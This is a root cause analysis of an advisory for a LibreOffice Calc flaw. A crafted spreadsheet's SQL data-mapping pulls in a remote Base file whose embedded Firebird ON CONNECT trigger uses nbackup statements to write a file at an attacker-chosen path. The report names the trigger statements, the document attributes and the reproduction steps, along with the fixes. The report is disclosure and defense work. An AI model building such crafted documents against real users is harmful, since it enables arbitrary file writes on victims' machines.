# CVE-2026-63266 — Root Cause Analysis

## Summary

LibreOffice Calc restores persisted external data links (`calcext:data-mappings`) while a
document is being loaded. A crafted ODS can persist an `org.libreoffice.calc.sql`
data-mapping whose database component resolves to an attacker-hosted `.odb` document
containing an *embedded* Firebird database. In affected versions (LibreOffice 26.2.4.2
and earlier 26.2.x), the embedded Firebird driver restores/attaches that database without
`isc_dpb_no_db_triggers`, so an `ON CONNECT` database trigger stored in the crafted
database executes during document open. That trigger drives the Firebird *nbackup*
functionality (`ALTER DATABASE ADD DIFFERENCE FILE '<attacker-chosen absolute path>'` +
`ALTER DATABASE BEGIN BACKUP`), which makes the Firebird engine create and write the
nbak difference file at **any attacker-chosen location the user can write to** — an
arbitrary file write driven purely by opening a document.

## Impact

- Package/component affected: LibreOffice Calc (sc — external data provider import),
  dbaccess (`sdb::DatabaseContext`), connectivity Firebird SDBC driver
  (`connectivity/source/drivers/firebird`) and the bundled Firebird 3.0.14 engine.
- Affected versions: LibreOffice 26.2 series below 26.2.5 (verified on the official
  26.2.4.2 Linux x86-64 build, build commit `0229ac93fcf0d7cbc6376066c6f35021cef002dc`).
- Risk level: high (advisory severity). Consequences: a victim who opens an attacker
  crafted spreadsheet gets a file written (created/appended, engine page data plus
  attacker-influenced content such as trigger-inserted rows and the stored target-path
  header clumplet) to any path the victim user can write — e.g. overwriting a user
  config file, planting files in auto-started locations, or corrupting user data.

## Impact Parity

- Disclosed/claimed maximum impact: "Arbitrary file write to any path the user can
  write, driven by a crafted document on open" (advisory CVE-2026-63266; claim
  contract expected impact `oob_write`).
- Reproduced impact from this run: **full parity** — opening the crafted ODS in the
  vulnerable product created a new file at an attacker-chosen absolute user-writable
  path (`$HOME/CVE-2026-63266_PWNED.marker`, 16 KB+, containing the attacker-chosen
  target path and attacker-controlled row content), entirely outside LibreOffice's
  temp/firebird private directories. The fixed product opened the same document
  through the same path without creating the file.
- Parity: `full`.
- Not demonstrated: this proof stops at the arbitrary file write (the claimed
  impact). No code execution was attempted and none is claimed by this advisory.

## Root Cause

Chain of vulnerable decisions (all corrected in 26.2.5):

1. **Calc restores external data mappings at load** —
   `sc/source/filter/xml/xmlmappingi.cxx`: `ScXMLMappingContext` inserts the
   `calcext:data-mapping` (provider `org.libreoffice.calc.sql`, id `T@<database>`) and
   its destructor immediately calls `ExternalDataSource::refresh(pDoc, true)`.
2. **The sql provider resolves the database part of the id as a URL** —
   `sc/source/ui/dataprovider/sqldataprovider.cxx` →
   `sdb::DatabaseContext::getByName(aDatabase)`; in
   `dbaccess/source/core/dataaccess/databasecontext.cxx`, a non-registered name is
   *interpreted as a URL* and loaded (`loadObjectFromURL`), so the crafted ODS pulls
   the attacker-hosted `.odb` over HTTP at load time.
3. **The embedded Firebird database is attached without `isc_dpb_no_db_triggers`** —
   `connectivity/source/drivers/firebird/Connection.cxx` (`construct`): for
   `sdbc:embedded:firebird` the fbk is restored via the Firebird service manager and
   the resulting database is attached; the crafted database's `ON CONNECT` trigger
   therefore runs inside the victim's LibreOffice process.
4. **The engine is not confined to a private directory** — the bundled Firebird
   engine had no `DatabaseAccess = Restrict` confinement, and the nbak difference
   file paths stored in the database header were not verified against `DatabaseAccess`
   (see LO's bundled-firebird patch `external/firebird/firebird-nbak-difference-file-access.patch.1`:
   "The difference file opened in openDelta and beginBackup was not verified against
   DatabaseAccess like the other database file paths"). The `ON CONNECT` trigger runs
   `ALTER DATABASE ADD DIFFERENCE FILE '<abs path>'` + `ALTER DATABASE BEGIN BACKUP`;
   `BackupManager::beginBackup` does `PIO_create(tdbb, diff_name, ...)` at the stored
   path → a file is created and written at the attacker-chosen location.

Fix commits (all part of LibreOffice 26.2.5 / 26.8.0, present in the verified fixed
build `cd7284b4cbbfeb507e630c1aac019f4157393acb` and absent from the vulnerable build):

- `c656bab4c907` (cherry-picked as `b7c1e1cc355c` in 26.2.5) — "firebird: keep each
  embedded database's files in one directory": gives the driver a private data
  directory, extracts embedded databases into it and writes `firebird.conf` with
  `DatabaseAccess = Restrict <private dir>` so an embedded Firebird database can open
  or create files only inside its own private directory (the advisory's stated fix).
- `736210ff4ced` (`4c75c4c03577`) — "firebird: don't attach a database that is not in
  the normal backup state" + the bundled nbak difference-file `DatabaseAccess` check.
- `cc5ac2a8197a` (`27ba4a9d24cb`) — "firebird: don't run an attached database's own
  event triggers" (`isc_dpb_no_db_triggers`), blocking the ON CONNECT vector.
- `8cfa628be87f` (`249c36ad76da`) — "firebird: only write back an embedded database
  that was opened".
- `49c3c4e59c48` — "put calc external data mappings under link update control" (the
  sibling hardening that stops the sql provider from auto-restoring at load).

## Reproduction Steps

1. Reference: `bundle/repro/reproduction_steps.sh` (self-contained; run with
   `bash bundle/repro/reproduction_steps.sh`, exit 0 = confirmed).
2. What the script does:
   - Installs the shared-library prerequisites of the official LibreOffice deb
     binaries and downloads/pins by SHA-256 the official 26.2.4.2 (vulnerable) and
     26.2.5.2 (fixed) Linux x86-64 builds plus the Firebird 3.0.14 toolset that
     matches the engine LibreOffice bundles.
   - Crafts the malicious embedded Firebird database with standalone `isql`:
     a table with attacker-chosen rows and an `ON CONNECT` database trigger that
     executes `ALTER DATABASE ADD DIFFERENCE FILE '<$HOME/CVE-2026-63266_PWNED.marker>'`
     and `ALTER DATABASE BEGIN BACKUP`, then inserts an attacker-chosen row;
     `gbak` produces `evil.fbk` (the trigger survives backup/restore — verified).
   - Builds `crafted/evil.odb` (a real Base ODB package declaring
     `sdbc:embedded:firebird` with our fbk swapped into the `database/firebird.fbk`
     storage element, shape taken from `repro/ref_odb.zip` produced by the real
     product) and `crafted/evil.ods` (a real Calc ODS package with
     `calcext:data-mapping xlink:href=http://127.0.0.1:<port>/evil.odb
     calcext:provider="org.libreoffice.calc.sql" calcext:id="T@http://127.0.0.1:<port>/evil.odb"`
     inside `office:spreadsheet`, shape from `repro/ref_ods.zip`).
   - Serves `evil.odb` from a local attacker HTTP server (the attacker-hosted ODB of
     the advisory's scenario), then runs **two vulnerable and two fixed product
     attempts** through the real document-open path
     (`soffice --headless --convert-to ods`, fresh `-env:UserInstallation` profile per
     attempt, bounded by `timeout`), recording per-attempt transcripts, HTTP access
     snapshots and the marker file, and writes `bundle/repro/runtime_manifest.json`.
3. Expected evidence of reproduction (observed in both consecutive runs):
   - vulnerable attempts: `odb_http_get_requests=2`, `marker_present=true`,
     `marker_contains_target_path=true`, soffice exits 134 (product-visible abort
     *after* the file write — the write itself already succeeded);
   - fixed attempts: `soffice_exit_code=0`, `odb_http_get_requests=0`,
     `marker_present=false`;
   - overall verdict `confirmed=true`, script exit code 0.

## Evidence

- Script transcript (both runs): `bundle/logs/reproduction_steps.log`
- Attempt verdicts: `bundle/repro/attempts-verdict.json`
- Per-attempt proof (immutable): `bundle/repro/proof/vulnerable-{1,2}/`
  (`soffice.log`, `result.json`, `marker.bin`, `marker-strings.txt`,
  `attacker-http-snapshot.log`) and `bundle/repro/proof/fixed-{1,2}/`
- Runtime manifest with target identity + artifact hashes:
  `bundle/repro/runtime_manifest.json` (vulnerable target:
  `git:https://github.com/libreoffice/core@0229ac93fcf0d7cbc6376066c6f35021cef002dc`;
  fixed control build: `cd7284b4cbbfeb507e630c1aac019f4157393acb`)
- Key excerpts (second run):
  - `attempt vulnerable-1 result: exit=134 odb_gets=2 marker=PRESENT`
  - `attempt vulnerable-2 result: exit=134 odb_gets=2 marker=PRESENT`
  - `attempt fixed-1 result: exit=0 odb_gets=0 marker=absent`
  - `attempt fixed-2 result: exit=0 odb_gets=0 marker=absent`
  - `=== verdict: confirmed=True ===`
  - `proof/vulnerable-1/marker-strings.txt` contains the attacker-chosen absolute
    target path string stored in the crafted database header.
- Environment: Ubuntu (resolute) x86-64 container, user `vscode`; official TDF deb
  builds of LibreOffice 26.2.4.2 and 26.2.5.2 extracted per-run (not installed);
  attacker HTTP server `python3 -m http.server` on 127.0.0.1.

## Recommendations / Next Steps

- Upgrade to LibreOffice >= 26.2.5 (or >= 26.8.0). All five hardening commits listed
  under Root Cause are contained in the fixed build verified by this proof.
- Fix approach (already applied upstream): confine the embedded Firebird engine to a
  per-driver private directory with `DatabaseAccess = Restrict`, refuse to attach
  databases in a non-normal nbackup state, verify nbak difference-file paths against
  `DatabaseAccess`, disable database event triggers on attach
  (`isc_dpb_no_db_triggers`), and place restored external data mappings under the
  standard link-update control so the sql provider is not silently re-run at load.
- Testing recommendations: add a document-driven regression test that opens an ODS
  with an `org.libreoffice.calc.sql` data-mapping pointing at an ODB whose embedded
  Firebird database carries an `ON CONNECT` trigger and an nbak difference-file path
  outside the private directory, asserting that (a) the trigger does not run and (b)
  no file appears outside the driver's private directory.

## Additional Notes

- Idempotency: the script was executed twice consecutively with identical confirmed
  results (exit 0 both times). All large downloads are SHA-256-pinned and cached in
  `$HOME/.cache/pruva-cve-2026-63266`; each attempt uses a fresh LibreOffice profile
  and a fresh marker state.
- Edge cases/limitations: (1) the marker path must be user-writable, as the advisory
  says ("any location the user could write to"); (2) the vulnerable soffice process
  aborts (exit 134, "Unspecified Application Error") *after* the write because the
  trigger leaves the database in the nbak stalled state — the arbitrary write itself
  has already happened when the abort occurs, which is visible in the attempt logs;
  (3) the HTTP-hosted ODB models the advisory's attacker-hosted database delivery on
  loopback; a `file://` URL to a local ODB works identically (verified during
  development) but the HTTP form matches the disclosed attack shape; (4) the bundled
  engine is Firebird 3.0.14, so the crafted database was built with the matching
  upstream Firebird 3.0.14 toolset (its fbk ODS format is engine-version specific).
